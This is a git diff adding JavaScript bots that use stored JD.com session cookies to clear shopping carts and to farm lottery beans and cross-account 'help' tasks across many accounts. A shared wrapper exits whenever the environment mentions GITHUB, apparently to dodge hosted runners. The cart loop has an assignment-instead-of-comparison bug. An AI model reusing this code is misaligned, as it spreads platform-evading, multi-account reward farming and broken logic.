headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; + e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_cleancart.js b/jd_cleancart.js new file mode 100644 index 0000000..f5e692b --- /dev/null +++ b/jd_cleancart.js @@ -0,0 +1,643 @@ +/* + * @Author: X1a0He + * @Contact: https://t.me/X1a0He + * @Github: https://github.com/X1a0He/jd_scripts_fixed + * 清空购物车,支持环境变量设置关键字,用@分隔,使用前请认真看对应注释 + * 由于不是用app来进行购物车删除,所以可能会出现部分购物车数据无法删除的问题,例如预购商品,属于正常 + */ +const $ = new Env('清空购物车'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', postBody = '', venderCart, error = false; +let args_xh = { + /* + * 跳过某个指定账号,默认为全部账号清空 + * 填写规则:例如当前Cookie1为pt_key=key; pt_pin=pin1;则环境变量填写pin1即可,此时pin1的购物车将不会被清空 + * 若有更多,则按照pin1@pin2@pin3进行填写 + * 环境变量名称:XH_CLEAN_EXCEPT + */ + except: process.env.XH_CLEAN_EXCEPT && process.env.XH_CLEAN_EXCEPT.split('@') || [], + /* + * 控制脚本是否执行,设置为true时才会执行删除购物车 + * 环境变量名称:JD_CART + */ + clean: process.env.JD_CART === 'true' || false, + /* + * 控制脚本运行一次取消多少条购物车数据,为0则不删除,默认为100 + * 环境变量名称:XH_CLEAN_REMOVESIZE + */ + removeSize: process.env.XH_CLEAN_REMOVESIZE * 1 || 100, + /* + * 关键字/关键词设置,当购物车商品标题包含关键字/关键词时,跳过该条数据,多个则用@分隔,例如 旺仔牛奶@红外线@紫光 + * 环境变量名称:XH_CLEAN_KEYWORDS + */ + keywords: process.env.XH_CLEAN_KEYWORDS && process.env.XH_CLEAN_KEYWORDS.split('@') || [], +} +console.log('使用前请确保你认真看了注释,看完注释有问题就带着你的问题来找我') +console.log('tg: https://t.me/X1a0He') +console.log('=====环境变量配置如下=====') +console.log(`except: ${typeof args_xh.except}, ${args_xh.except}`) +console.log(`clean: ${typeof args_xh.clean}, ${args_xh.clean}`) +console.log(`removeSize: ${typeof args_xh.removeSize}, ${args_xh.removeSize}`) +console.log(`keywords: ${typeof args_xh.keywords}, ${args_xh.keywords}`) +console.log('=======================') +console.log() +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +!(async () => { + if (args_xh.clean) { + if (!cookiesArr[0]) { + $.msg('【京东账号一】移除购物车失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.error = false; + await TotalBean(); + console.log(`****开始【京东账号${$.index}】${$.nickName || $.UserName}****`); + if (args_xh.except.includes($.UserName)) { + console.log(`跳过账号:${$.nickName || $.UserName}`) + continue + } + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + if (args_xh.removeSize === 0) continue; + do { + await getCart_xh(); + $.keywordsNum = 0 + if ($.beforeRemove !== "0") { + await cartFilter_xh(venderCart); + $.retry = 0; + if (parseInt($.beforeRemove) !== $.keywordsNum) await removeCart(); + if($.retry = 2) break; + else { + console.log('\n由于购物车内的商品均包含关键字,本次执行将不删除购物车数据') + break; + } + } else break; + } while (!$.error && $.keywordsNum !== parseInt($.beforeRemove)) + } + } + } else { + console.log("你设置了不删除购物车数据,要删除请设置环境变量 JD_CART 为 true") + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}) + +function getCart_xh() { + console.log('正在获取购物车数据...') + return new Promise((resolve) => { + const option = { + url: 'https://p.m.jd.com/cart/cart.action?fromnav=1&sceneval=2', + headers: { + "Cookie": cookie, + "User-Agent": "jdapp;JD4iPhone/167724 (iPhone; iOS 15.0; Scale/3.00)", + }, + } + $.get(option, async (err, resp, data) => { + try { + data = JSON.parse(data.match(/window\.cartData = ([^;]*)/)[1]) + $.areaId = data.areaId; // locationId的传值 + $.traceId = data.traceId; // traceid的传值 + venderCart = data.cart.venderCart; + postBody = 'pingouchannel=0&commlist='; + $.beforeRemove = data.cart.currentCount ? data.cart.currentCount : 0; + console.log(`获取到购物车数据 ${$.beforeRemove} 条`) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} + +function cartFilter_xh(cartData) { + console.log("正在整理数据...") + let pid; + $.pushed = 0 + for (let cartJson of cartData) { + if ($.pushed === args_xh.removeSize) break; + for (let sortedItem of cartJson.sortedItems) { + if ($.pushed === args_xh.removeSize) break; + pid = typeof (sortedItem.polyItem.promotion) !== "undefined" ? sortedItem.polyItem.promotion.pid : "" + for (let product of sortedItem.polyItem.products) { + if ($.pushed === args_xh.removeSize) break; + let mainSkuName = product.mainSku.name + $.isKeyword = false + $.isPush = true + for (let keyword of args_xh.keywords) { + if (mainSkuName.indexOf(keyword) !== -1) { + $.keywordsNum += 1 + $.isPush = false + $.keyword = keyword; + break; + } else $.isPush = true + } + if ($.isPush) { + let skuUuid = product.skuUuid; + let mainSkuId = product.mainSku.id + if (pid === "") postBody += `${mainSkuId},,1,${mainSkuId},1,,0,skuUuid:${skuUuid}@@useUuid:0$` + else postBody += `${mainSkuId},,1,${mainSkuId},11,${pid},0,skuUuid:${skuUuid}@@useUuid:0$` + $.pushed += 1; + } else { + console.log(`\n${mainSkuName}`) + console.log(`商品已被过滤,原因:包含关键字 ${$.keyword}`) + $.isKeyword = true + } + } + } + } + postBody += `&type=0&checked=0&locationid=${$.areaId}&templete=1®=1&scene=0&version=20190418&traceid=${$.traceId}&tabMenuType=1&sceneval=2` +} + +function removeCart() { + console.log('正在删除购物车数据...') + return new Promise((resolve) => { + const option = { + url: 'https://wq.jd.com/deal/mshopcart/rmvCmdy?sceneval=2&g_login_type=1&g_ty=ajax', + body: postBody, + headers: { + "Cookie": cookie, + "User-Agent": "jdapp;JD4iPhone/167724 (iPhone; iOS 15.0; Scale/3.00)", + "referer": "https://p.m.jd.com/", + "origin": "https://p.m.jd.com/" + }, + } + $.post(option, async (err, resp, data) => { + try { + data = JSON.parse(data); + $.afterRemove = data.cartJson.num + if ($.afterRemove < $.beforeRemove) { + console.log(`删除成功,当前购物车剩余数据 ${$.afterRemove} 条\n`) + $.beforeRemove = $.afterRemove + } else { + console.log('删除失败') + console.log(data.errMsg) + $.error = true; + $.retry++; + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s { + constructor(t) { + this.env = t + } + + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t) { + return this.send.call(this.env, t) + } + + post(t) { + return this.send.call(this.env, t, "POST") + } + } + + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + + isNode() { + return "undefined" != typeof module && !!module.exports + } + + isQuanX() { + return "undefined" != typeof $task + } + + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon() { + return "undefined" != typeof $loon + } + + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch { } + return s + } + + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata() { + if (!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; + { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => { })) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => { })) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/jd_club_lottery.js b/jd_club_lottery.js new file mode 100644 index 0000000..13cbe45 --- /dev/null +++ b/jd_club_lottery.js @@ -0,0 +1,1300 @@ +/* +Last Modified time: 2021-5-11 09:27:09 +活动入口:京东APP首页-领京豆-摇京豆/京东APP首页-我的-京东会员-摇京豆 +增加京东APP首页超级摇一摇(不定时有活动) +增加超级品牌日做任务及抽奖 +增加 京东小魔方 抽奖 +Modified from https://github.com/Zero-S1/JD_tools/blob/master/JD_vvipclub.py +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============QuantumultX============== +[task_local] +#摇京豆 +5 0,23 * * * jd_club_lottery.js, tag=摇京豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyjd.png, enabled=true +=================Loon=============== +[Script] +cron "5 0,23 * * *" script-path=jd_club_lottery.js,tag=摇京豆 +=================Surge============== +[Script] +摇京豆 = type=cron,cronexp="5 0,23 * * *",wake-system=1,timeout=3600,script-path=jd_club_lottery.js + +============小火箭========= +摇京豆 = type=cron,script-path=jd_club_lottery.js, cronexpr="5 0,23 * * *", timeout=3600, enable=true +*/ + +const $ = new Env('摇京豆'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = '', allMessage = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let superShakeBeanConfig = { + "superShakeUlr": "",//超级摇一摇活动链接 + "superShakeBeanFlag": false, + "superShakeTitle": "", + "taskVipName": "", +} +$.assigFirends = []; +$.brandActivityId = '';//超级品牌日活动ID +$.brandActivityId2 = '2vSNXCeVuBy8mXTL2hhG3mwSysoL';//超级品牌日活动ID2 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + await welcomeHome() + if ($.superShakeUrl) { + await getActInfo($.superShakeUrl); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.freeTimes = 0; + $.prizeBeanCount = 0; + $.totalBeanCount = 0; + $.superShakeBeanNum = 0; + $.moFangBeanNum = 0; + $.isLogin = true; + $.nickName = ''; + message = '' + await TotalBean(); + console.log(`\n********开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await clubLottery(); + await showMsg(); + } + } + for (let v = 0; v < cookiesArr.length; v++) { + cookie = cookiesArr[v]; + $.index = v + 1; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.canHelp = true; + if ($.canHelp && $.activityId) { + $.assigFirends = $.assigFirends.concat({ + "encryptAssignmentId": $.assigFirends[0] && $.assigFirends[0]['encryptAssignmentId'], + "assignmentType": 2, + "itemId": "SZm_olqSxIOtH97BATGmKoWraLaw", + }) + for (let item of $.assigFirends || []) { + if (item['encryptAssignmentId'] && item['assignmentType'] && item['itemId']) { + console.log(`\n账号 ${$.index} ${$.UserName} 开始给 ${item['itemId']} 进行助力`) + await superBrandDoTask({ + "activityId": $.activityId, + "encryptProjectId": $.encryptProjectId, + "encryptAssignmentId": item['encryptAssignmentId'], + "assignmentType": item['assignmentType'], + "itemId": item['itemId'], + "actionType": 0, + "source": "main" + }); + if (!$.canHelp) { + console.log(`次数已用完,跳出助力`) + break + } + } + } + //账号内部助力后,继续抽奖 + for (let i = 0; i < new Array(4).fill('').length; i++) { + await superBrandTaskLottery(); + await $.wait(400); + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify($.name, allMessage); + } + if (superShakeBeanConfig.superShakeUlr) { + const scaleUl = { "category": "jump", "des": "m", "url": superShakeBeanConfig['superShakeUlr'] }; + const openjd = `openjd://virtual?params=${encodeURIComponent(JSON.stringify(scaleUl))}`; + $.msg($.name,'', `【${superShakeBeanConfig['superShakeTitle'] || '超级摇一摇'}】活动再次开启\n【${superShakeBeanConfig['taskVipName'] || '开通品牌会员'}】请点击弹窗直达活动页面\n${superShakeBeanConfig['superShakeUlr']}`, { 'open-url': openjd }); + if ($.isNode()) await notify.sendNotify($.name, `【${superShakeBeanConfig['superShakeTitle']}】活动再次开启\n【${superShakeBeanConfig['taskVipName'] || '开通品牌会员'}】请点击链接直达活动页面\n${superShakeBeanConfig['superShakeUlr']}`, { url: openjd }); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function clubLottery() { + try { + await doTasks();//做任务 + await getFreeTimes();//获取摇奖次数 + await vvipclub_receive_lottery_times();//京东会员:领取一次免费的机会 + await vvipclub_shaking_info();//京东会员:查询多少次摇奖次数 + await shaking();//开始摇奖 + await shakeSign();//京东会员签到 + await superShakeBean();//京东APP首页超级摇一摇 + await superbrandShakeBean();//京东APP首页超级品牌日 + } catch (e) { + $.logErr(e) + } +} +async function doTasks() { + const browseTaskRes = await getTask('browseTask'); + if (browseTaskRes.success) { + const { totalPrizeTimes, currentFinishTimes, taskItems } = browseTaskRes.data[0]; + const taskTime = totalPrizeTimes - currentFinishTimes; + if (taskTime > 0) { + let taskID = []; + taskItems.map(item => { + if (!item.finish) { + taskID.push(item.id); + } + }); + if (taskID.length > 0) console.log(`开始做浏览页面任务`) + for (let i = 0; i < new Array(taskTime).fill('').length; i++) { + await $.wait(1000); + await doTask('browseTask', taskID[i]); + } + } + } else { + console.log(`${JSON.stringify(browseTaskRes)}`) + } + const attentionTaskRes = await getTask('attentionTask'); + if (attentionTaskRes.success) { + const { totalPrizeTimes, currentFinishTimes, taskItems } = attentionTaskRes.data[0]; + const taskTime = totalPrizeTimes - currentFinishTimes; + if (taskTime > 0) { + let taskID = []; + taskItems.map(item => { + if (!item.finish) { + taskID.push(item.id); + } + }); + console.log(`开始做关注店铺任务`) + for (let i = 0; i < new Array(taskTime).fill('').length; i++) { + await $.wait(1000); + await doTask('attentionTask', taskID[i].toString()); + } + } + } +} +async function shaking() { + for (let i = 0; i < new Array($.leftShakingTimes).fill('').length; i++) { + console.log(`开始 【京东会员】 摇奖`) + await $.wait(1000); + const newShakeBeanRes = await vvipclub_shaking_lottery(); + if (newShakeBeanRes.success) { + console.log(`京东会员-剩余摇奖次数:${newShakeBeanRes.data.remainLotteryTimes}`) + if (newShakeBeanRes.data && newShakeBeanRes.data.rewardBeanAmount) { + $.prizeBeanCount += newShakeBeanRes.data.rewardBeanAmount; + console.log(`恭喜你,京东会员中奖了,获得${newShakeBeanRes.data.rewardBeanAmount}京豆\n`) + } else { + console.log(`未中奖\n`) + } + } + } + for (let i = 0; i < new Array($.freeTimes).fill('').length; i++) { + console.log(`开始 【摇京豆】 摇奖`) + await $.wait(1000); + const shakeBeanRes = await shakeBean(); + if (shakeBeanRes.success) { + console.log(`剩余摇奖次数:${shakeBeanRes.data.luckyBox.freeTimes}`) + if (shakeBeanRes.data && shakeBeanRes.data.prizeBean) { + console.log(`恭喜你,中奖了,获得${shakeBeanRes.data.prizeBean.count}京豆\n`) + $.prizeBeanCount += shakeBeanRes.data.prizeBean.count; + $.totalBeanCount = shakeBeanRes.data.luckyBox.totalBeanCount; + } else if (shakeBeanRes.data && shakeBeanRes.data.prizeCoupon) { + console.log(`获得优惠券:${shakeBeanRes.data.prizeCoupon['limitStr']}\n`) + } else { + console.log(`摇奖其他未知结果:${JSON.stringify(shakeBeanRes)}\n`) + } + } + } + if ($.prizeBeanCount > 0) message += `摇京豆:获得${$.prizeBeanCount}京豆`; +} +function showMsg() { + return new Promise(resolve => { + if (message) { + $.msg(`${$.name}`, `京东账号${$.index} ${$.nickName}`, message); + } + resolve(); + }) +} +//====================API接口================= +//查询剩余摇奖次数API +function vvipclub_shaking_info() { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/?t=${Date.now()}&appid=sharkBean&functionId=vvipclub_shaking_info`, + headers: { + "accept": "application/json", + "accept-encoding": "gzip, deflate, 